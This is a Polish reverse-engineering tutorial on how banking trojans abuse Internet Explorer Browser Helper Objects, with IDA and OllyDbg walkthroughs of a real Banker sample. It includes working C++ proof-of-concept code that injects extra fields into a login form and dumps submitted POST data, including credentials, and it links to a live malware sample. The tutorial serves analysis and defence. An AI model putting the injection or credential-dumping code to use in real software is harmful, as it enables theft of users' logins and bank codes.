Od dawien dawna po dzień dzisiejszy (BHO wpierane jest od IE 4.0) autorzy malware’u wykorzystują funkcjonalność jaką dostarcza im BHO do znęcania się nad użytkownikami IE.

Przeważnie złośliwe BHO posiada dwie kluczowe funkcjonalności (na pewno w przypadku banker’a) :

- monitorowania/logowania zapytań wysyłanych przez przeglądarkę POST dump – kradzież haseł – dynamiczne modyfikowania kodu html wybranych stron HTML code injection – wstrzyknięcie kodu html np. dodającego pare dodatkowych pól w formularzu przeznaczonych do wpisania większej ilości kodów TAN

=] Tworzenie BHO [=

Implementacje dll’ki można wykonać na kilka sposobów:

Czysty COM/WinApi

Oczywiście jak można się domyślać w tym przypadku implementacja wszystkich niezbędnych interfejsów COM’wych będzie należała do nas. Jest to jednak, doskonały sposób na dokładne zapoznanie się mechanizmami, które kryją się pod maską BHO.

Szczegółowy tutorial jak napisać BHO bez wykorzystania MFC/ATL z wyjaśnieniem podstaw związanych z technologią COM znajduję się tutaj : http://www.codeproject.com/KB/shell/BHOinCPP.aspx

MFC

ATL

W przypadku skorzystania z dobrodziejstwa biblioteki ATL do implementacji pozostaje nam tak naprawdę jedna metoda plus event handlery. Tutorial jak stworzyć BHO z wykorzystaniem ATL znajduję się tutaj:

http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx

Jak przebiega wywołanie kolejnych interfejsów oraz ich metod:

W wielkim skrócie:

Ole32.dll w IE

CoGetClassObject->CoLoadLibrary

BHO

@export DllGetClassObject – przekazanie pointer’a na coclass IClassFactory

IClassFactory->CreateInstance – przekazanie pointera na coclass IObjectWithSite

IObjectWithSite->SetSite -uzyskanie pointera do interfejsu IWebBrowser2

IWebBrowser2->QueryInterface dla IConnectionPointContainer

IConnectionPointContainer-> FindConnectionPoint dla dispatchera DWebBrowserEvents2

IConnectionPointContainer->Advise – rejestracja coclassy implementującej dispatcher DWebBrowserEvents2 (obsługa eventów)

=] Interfejsy [=

Nas jak i zarówno twórców malware’u, intersować bedą tutaj w szczególności dwa interfejsy:

– IWebBrowser2

– DWebBrowserEvents2

=] Obsługa eventów [=

Jak można się domyślać, główny kod malwareu odpowiadający za takie akcje jak HTLM Code injection czy POST dump będzie znajdował się w klasie implementującej interfejs DWebBrowserEvents2, odpowiedzialnej za obsługę eventów.

I tak , HTML Code injection można spodziewać się przy obsłudze eventu:

DISPID_DOCUMENTCOMPLETE :

„DocumentComplete – Fires when a document is completely loaded and initialized.”

POST Dump ( kradzież login/pass)

DISPID_BEFORENAVIGATE2:

„BeforeNavigate2 – Fires before navigation occurs in the given object (on either a window element or a frameset element).”

Rzućmy okiem jak wygląda szczątkowa implementacja takiej klasy w cpp:

Czysty COM/WinAPI

class CEvents : public DWebBrowserEvents2 { public: STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr); private: void OnBeforeNavigate2(...); void OnDocumentComplete(...); }; STDMETHODIMP CEvents::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr) { switch(dispIdMember) { case DISPID_DOCUMENTCOMPLETE: OnDocumentComplete(...); break; case DISPID_BEFORENAVIGATE2: OnBeforeNavigate2(...); break; } }

ATL

class ATL_NO_VTABLE CCBHO : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CCBHO, &CLSID_CBHO>, public IObjectWithSiteImpl<CCBHO>, public IDispatchImpl<ICBHO, &IID_ICBHO, &LIBID_firstBHOLib, /*wMajor =*/ 1, /*wMinor =*/ 0>, public IDispEventImpl<1, CCBHO, &DIID_DWebBrowserEvents2, &LIBID_SHDocVw, 1, 1> { public: CCBHO() { } public: BEGIN_SINK_MAP(CCBHO) //initialize _ATL_EVENT_ENTRY structure SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_DOCUMENTCOMPLETE, OnDocumentComplete) SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_BEFORENAVIGATE2, OnBeforeNavigate) END_SINK_MAP() // DWebBrowserEvents2 void STDMETHODCALLTYPE OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL); void STDMETHODCALLTYPE OnBeforeNavigate(IDispatch *pDisp, VARIANT *url, VARIANT *Flags, VARIANT *TargetFrameName, VARIANT *PostData, VARIANT *Headers, VARIANT_BOOL *Cancel);

Tak jak wspomniałem powyżej, dość kluczową rolę w funkcjonowaniu malwareu w postaci BHO będzie miał kod znajdujący się przy obsłudze eventów BEFORENAVIGATE2 i DOCUMENTCOMPLETE. Zanim jednak weźmiemy pod lupę przykładowy malware, rzućmy okiem na implementacje HTML Code injection oraz POST dump w CPP.

HTML Code injection (ATL)

void STDMETHODCALLTYPE CCBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL) { HRESULT hr; // Retrieve the top-level window from the site. CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; if(tmpBrowser && m_webBrowser && m_webBrowser.IsEqualObject(tmpBrowser)) { CComPtr<IDispatch> doc; hr = m_webBrowser->get_Document(&doc); if(SUCCEEDED(hr)) { CComQIPtr<IHTMLDocument2> html = doc; if( html != NULL) { debug_init(); //check target url if(wcsstr((WCHAR*)pvarURL->pbstrVal,L"http://www.icewall.pl/wp-login.php")) { debug("[+] Target URL detected"); CComPtr<IHTMLElement> body; hr = html->get_body(&body); if(!SUCCEEDED(hr) || body == NULL) return; debug("[+] Make simple html code injection, right after <body> tag"); body->insertAdjacentHTML(L"afterBegin",L"<h1 style=\"text-align:center;color:red;\">Injected Code</h1>"); debug("[+] Find login form"); CComPtr<IHTMLElementCollection> forms; hr = html->get_forms(&forms); if(!SUCCEEDED(hr) || forms == NULL) return; long amount = 0; CComVariant name; CComPtr<IDispatch> pDisp; forms->get_length(&amount); for(int i =0; i < amount;i++) { CComVariant index(i); forms->item(name,index,&pDisp); CComQIPtr<IHTMLElement> form = pDisp; debug("[+] Injecting additional form field"); form->insertAdjacentHTML(L"afterBegin", L"<label>Phone number<br /><input type=\"text\" name=\"phone\" class=\"input\" size=\"20\"/></label>"); } } } } } }

A tak wyglada efekt:



Jak widać na screen’e do kodu strony został wstrzykniety napis „Injected code” oraz dodatkowe pole formularza „Phone number”.

Ok, rzucmy okiem na kod wykonujacy POST dump’a:

void STDMETHODCALLTYPE CCBHO::OnBeforeNavigate(IDispatch *pDisp, VARIANT *url, VARIANT *Flags, VARIANT *TargetFrameName, VARIANT *PostData, VARIANT *Headers, VARIANT_BOOL *Cancel) { if (PostData != NULL && PostData->vt == (VT_VARIANT|VT_BYREF) && PostData->pvarVal->vt != VT_EMPTY ) { debug("[+] POST data dump"); //dump information about URL debug(std::string(CW2A(url->bstrVal))); char *szTemp = NULL; char *szPostData = NULL; long plLbound, plUbound; SAFEARRAY *parrTemp = PostData->pvarVal->parray; SafeArrayAccessData(parrTemp , (void HUGEP **) &szTemp); SafeArrayGetLBound(parrTemp , 1, &plLbound); SafeArrayGetUBound(parrTemp , 1, &plUbound); szPostData = new char[plUbound - plLbound + 2]; memcpy(szPostData, szTemp, plUbound - plLbound + 1); szPostData[plUbound-plLbound] = '\0'; SafeArrayUnaccessData(parrTemp); //dump post data debug(szPostData); delete[] szPostData; } }

Wypelniamy forme:



Login…



Jak widać, wszystkie dane wpisane w polach formularza (wraz z tymi wpisanymi do pola, które została wstrzyknięte przez nasze BHO) zostały zdumpowane na konsole.

Skoro już wiemy jakiego kodu możemy się spodziewać i mamy świadomość jak on funkcjonuje, rzućmy okiem na realny przykład.

=] Just reverse it! [=

Malware: Trojan-Spy.Win32.Banker

MD5: 4bb6988207b7e64c91181ab3a7a82e3e

SHA256: d02323c52b3142ffbfc2a8d92a4202022d2671ba18b4efbe7569863817e550e6

https://www.virustotal.com/ – report

Download: Trojan-Spy.Win32.Banker pass: infected

Plik reprezentowany przez powyżej przedstawione hashe jest tak naprawdę droperem, a nas będzie jedynie interesowała dll’ka, która dropuje do system32 czyli btask.dll (BHO).

Jak pewnie zauważyliście dll’ka spakowana jest upx’em, warto rozpakować dll’ke i pracować na rozpakowanej wersji nawet przy dynamicznej analizie.

=] Gdzie te event handler’y ?[=

Ustaliliśmy już, że złowieszcze funkcje typowe dla banker’a w postaci BHO znajdują się przy obsłudzę eventów. Teraz pytanie brzmi jak znaleźć te fragmenty kodu, a tak naprawdę jak odnaleźć funkcję

Invoke() (dla czystego COM/winapi) czy inicjalizację struktur _ATL_EVENT_ENTRY gdzie znajdować się będą wszystkie interesujące nas informacje i fragmenty kodu?

=] Wyszukiwanie stałych [=

Dobre rezultaty daje tutaj proste wyszukiwanie wartości stałych, które reprezentują poszczególne eventy:

IDA->Alt+I (Find all occurences) , znajdźmy wszystkie stałe wartości równe 259(0x103) reprezentujące event DOCUMENTCOMPLETE.

Address Function Instruction ------- -------- ----------- .text:20004904 sub_2000480A cmp eax, 103h .text:2000B0E3 sub_2000B093 cmp [ebp+var_18], 103h

Zobaczmy pierwszy adres:



Kod wygląda bardzo sensownie, widać sporą dawkę instrukcji warunkowych i porównań jednego argumentu funkcji do różnych stałych, co może świadczyć o tym, że faktycznie udało nam się odszukać funkcję Invoke. I tak też jest ;). Jeżeli, ktoś jeszcze tego nie dostrzegł to podpowiem, że można tutaj dostrzec typową implementację funkcji Invoke w przypadku kiedy NIE zastosowano ATL’owego szablonu. A jak wygląda sytuacja w przypadku ATL’a ?

atlBHO.dll (analiza dla ułatwienia z załadowanym plikiem pdb) – > Download

Tym razem próbując znaleźć miejsce w kodzie gdzie inicjalizowana jest tablica struktur _ATL_EVENT_ENTRY posługując się w tym przypadku wartością 0x130 zaliczymy fail’a z tego względu, że pierwsza struktura w tej tablicy ( w moim kodzie jest to struktura dla eventu DOCUMENTCOMPLETE) jest częściowo zainicjalizowana przez co IDA wskaże nam miejsce:

.data:1003D770 ; ATL::_ATL_EVENT_ENTRY<CCBHO> map[3] .data:1003D770 struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * const `public: static struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * __cdecl CCBHO::_GetSinkMap(void)'::`2'::map dd 1 ; nControlID .data:1003D770 ; DATA XREF: CCBHO::_GetSinkMap(void):loc_1001C040o .data:1003D770 dd offset _DIID_DWebBrowserEvents2; piid .data:1003D770 dd 0Ch ; nOffset .data:1003D770 dd 103h ; dispid .data:1003D770 dd 0 ; pfn .data:1003D770 db 4 dup(0) .data:1003D770 dd 0 ; pInfo .data:1003D770 db 4 dup(0) ; _padding .data:1003D770 dd 0 ; nControlID ...

czyli przestrzeń statycznie zaalokowaną na tablice _ATL_EVENT_ENTRY. My jednak szukamy miejsca w kodzie gdzie następuje inicjalizacja tej tablicy. Poszukajmy więc wartości odpowiadającej event’owi

BEFORENAVIGATE2 czyli 0xFA

.text:1001BF29 mov [ebp+var_EC], offset CCBHO::OnDocumentComplete(IDispatch *,tagVARIANT *) (...) .text:1001BF9E mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+20h, edx .text:1001BFA4 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+20h, 0FAh .text:1001BFAE mov [ebp+var_DC], offset CCBHO::OnBeforeNavigate(IDispatch *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,short *) .text:1001BFB8 mov [ebp+var_D8], 0 .text:1001BFC2 mov eax, [ebp+var_DC] .text:1001BFC8 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pfn+20h, eax .text:1001BFCD mov ecx, [ebp+var_D8] .text:1001BFD3 mov dword ptr ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map+34h, ecx .text:1001BFD9 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pInfo+20h, 0 .text:1001BFE3 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nControlID+40h, 0 .text:1001BFED mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.piid+40h, 0 .text:1001BFF7 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+40h, 0 .text:1001C001 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+40h, 0

Bingo! Pod adresem 1001BF29 oraz 1001BFAE widzimy inicjalizację struktur offset’ami na event handlery. Mamy, więc trywialny sposób na odnalezienie interesujących nas fragmentów kodu w obu przypadkach. Zautomatyzujmy ten proces.

IDA Python – > Download BHO.py

Stworzyłem prosty skrypt, który bazując na paru najpopularniejszych stałych reprezentujących event’y odnajduje miejsce funkcji Invoke czy inicjalizacji tablicy _ATL_EVENT_ENTRY.

Wróćmy do naszego malwareu i odpalmy skrypt.

Searching for DISPID_BEFORENAVIGATE2 Searching for DISPID_DOCUMENTCOMPLETE Searching for DISPID_NAVIGATECOMPLETE2 Searching for DISPID_ONQUIT Potential Invoke function 0x20003b22 : appearance 1 Potential Invoke function 0x20013043 : appearance 1 Potential Invoke function 0x200044cc : appearance 1 Potential Invoke function 0x2000480a : appearance 4 Potential Invoke function 0x20004eec : appearance 1 Potential Invoke function 0x200074f1 : appearance 1 Potential Invoke function 0x2000b093 : appearance 1 Potential Invoke function 0x200022fa : appearance 1 Suggested address of Invoke function : 0x2000480a

Jak widać skrypt spisał się bardzo dobrze, ponieważ 0x2000480ajest faktycznym adresem funkcji Invoke, który udało nam się wcześniej ustalić ręcznie.

Bho.py posiada jeszcze jedna użyteczna opcje, a mianowicie funkcję bho_invoke(ea) (gdzie ea to adres funkcji invoke lub init _ATL_EVENT_ENTRY), która doda komentarze zawierające opisy każdej stałej w miejscu jej występowania.

Python>bho_invoke(0x2000480a) Found DISPID_NAVIGATECOMPLETE2 at: 200048bb Found DISPID_NAVIGATEANDFIND at: 200048d0 Found DISPID_PROGRESSCHANGE at: 20004825 Found DISPID_DOCUMENTCOMPLETE at: 20004904 Found DISPID_BEFORENAVIGATE2 at: 200048c6 Found DISPID_ONQUIT at: 200049d7 Found DISPID_DOWNLOADCOMPLETE at: 2000481c Found DISPID_ISSUBSCRIBED at: 200048d0

Zobaczmy efekt:



Możemy teraz przystąpić do reversowania poszczególnych event handlerów.

=] Reversowanie kodu zawierającego wywołania interfejsów COM [=

Bez odpowiedniego podejścia i jeszcze paru zabiegów, reversowanie takiego kodu może być mocno uciążliwe. Dlatego też, polecam kilka skryptów stworzonych przez Frank’a Boldewin’a :

ClassAndInterfaceToNames.zip – odnajdywanie UUID’ów class i interfejsów

VtablesStructuresFromPSDK2003R2.zip – skrypt dodający struktury vtable powiązane z interfejsami COM.

Practical%20COM%20code%20reconstruction.swf – video prezentujące: reversowanie COM’wego kodu + zalety skorzystania z dwóch powyższych skryptów.

Żeby zobaczyć różnice jak i zalety zastosowania powyższych skryptów spróbujmy zreversować następujący kawałek kodu pochodzący z event handler’a OnDocumentComplete:

.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+var_18] .text:2000290B push edx .text:2000290C push offset unk_200180E8 .text:20002911 push eax .text:20002912 mov [ebp+var_18], ebx .text:20002915 call dword ptr [ecx]

Widać tutaj wywołanie jakieś metody wirtualnej tylko pytanie jakiego interfejsu i co dokładnie jest argumentem pod tym offset’em unk_200180E8 ?

Użyjmy skryptu ClassAndInterfaceToNames, a oto efekt:

.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+var_18] .text:2000290B push edx .text:2000290C push offset IID_IWebBrowser2__2 .text:20002911 push eax .text:20002912 mov [ebp+var_18], ebx .text:20002915 call dword ptr [ecx]

Ahh już lepiej, teraz patrząc na nasz kod w CPP zauważamy analogię, że na wstępie interfejs IDispatch wywołuje QueryInterface z argumentami :

IID_IWebBrowser2, (void **)&pWebBrowser) ( ta linijka ukrywa się tutaj CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; )

żeby uzyskać pointer na coclass IWebBrowser. Wnioskując z tego, mamy iż:

[ebp+var_18] to [ebp+IWebBrowser]

a

call dword ptr [ecx] to (naciskamy na ecx T i szukamy IDispatch) call dword ptr [ecx+ IDispatchVtbl.QueryInterface]

efekt końcowy:

.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+IWebBrowser] .text:2000290B push edx .text:2000290C push offset IID_IWebBrowser2__2 .text:20002911 push eax .text:20002912 mov [ebp+IWebBrowser], ebx .text:20002915 call [ecx+IDispatchVtbl.QueryInterface]

Itd… Ok, ale co jeśli chcemy wykonać dynamiczną analizę? Ofc, możemy przeanalizować w podany powyżej sposób kod statycznie, jednak takie podejście czasami wymaga uzupełnienia z różnych względów, czyli właśnie dynamicznej analizy.

Niestety pojawia się tu pewien problem, ponieważ SHDOCVW.dll, do której odwoływać się będzie większość call’i powiązanych z interfejsami COM w naszym przypadku



źródło http://msdn.microsoft.com/en-us/library/ie/aa741313(v=vs.85).aspx

, nie ma ujawnionych „czytelnych” nazw dla większości exportów. I w miejscu takim jak:

010328F9 |. 8B45 10 MOV EAX,[ARG.3] 010328FC |. 33DB XOR EBX,EBX 010328FE |. 3BC3 CMP EAX,EBX 01032900 |. 0F84 BF010000 JE btask.01032AC5 01032906 |. 8B08 MOV ECX,DWORD PTR DS:[EAX] 01032908 |. 8D55 E8 LEA EDX,[LOCAL.6] 0103290B |. 52 PUSH EDX 0103290C |. 68 E8800401 PUSH btask.010480E8 01032911 |. 50 PUSH EAX 01032912 |. 895D E8 MOV [LOCAL.6],EBX 01032915 |. FF11 CALL DWORD PTR DS:[ECX]

pojawi się tylko i wyłącznie podpowiedź Olka w stylu:

01032915 |. FF11 CALL DWORD PTR DS:[ECX] ; SHDOCVW.777D78E9

Oczywiście jest na to rada;). Skorzystanie z dobrodziejstwa symboli. Ale, ze względu na sędziwość Olka 1.1 i nie w pełni gotową jeszcze wersje 2.0, warto odseparować do osobnego katalogu tylko i wyłącznie symbole dla tych dll’ek, które faktycznie nas interesują czyli

SHDOCVW.dll i ew. MSHTML.dll. W innym wypadku możemy spodziewać się sporego czasu oczekiwania na koniec analizy przez Olka każdej dll’ki z osobna, a nawet czasami crashu.

Symbole dla pojedynczego pliku można pobrać używając narzędzia symchk.exe

Tworzymy zmienną środowiskową:

_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\windows\Sym

A w katalogu C:\windows\Sym umieszczamy interesujące nas symbole:

c:\WINDOWS\sym>dir Volume in drive C has no label. Volume Serial Number is 44BE-4B9D Directory of c:\WINDOWS\sym 01/27/2012 11:21 AM <DIR> . 01/27/2012 11:21 AM <DIR> .. 01/27/2012 11:21 AM <DIR> mshtml.pdb 01/27/2012 11:21 AM <DIR> mshtmled.pdb 01/27/2012 11:21 AM <DIR> shdocvw.pdb

A oto efekt:



I z tak przygotowanym zestawem narzędzi jak i podejściem możemy kontynuować nasza zabawę w reversowanie BHO ;).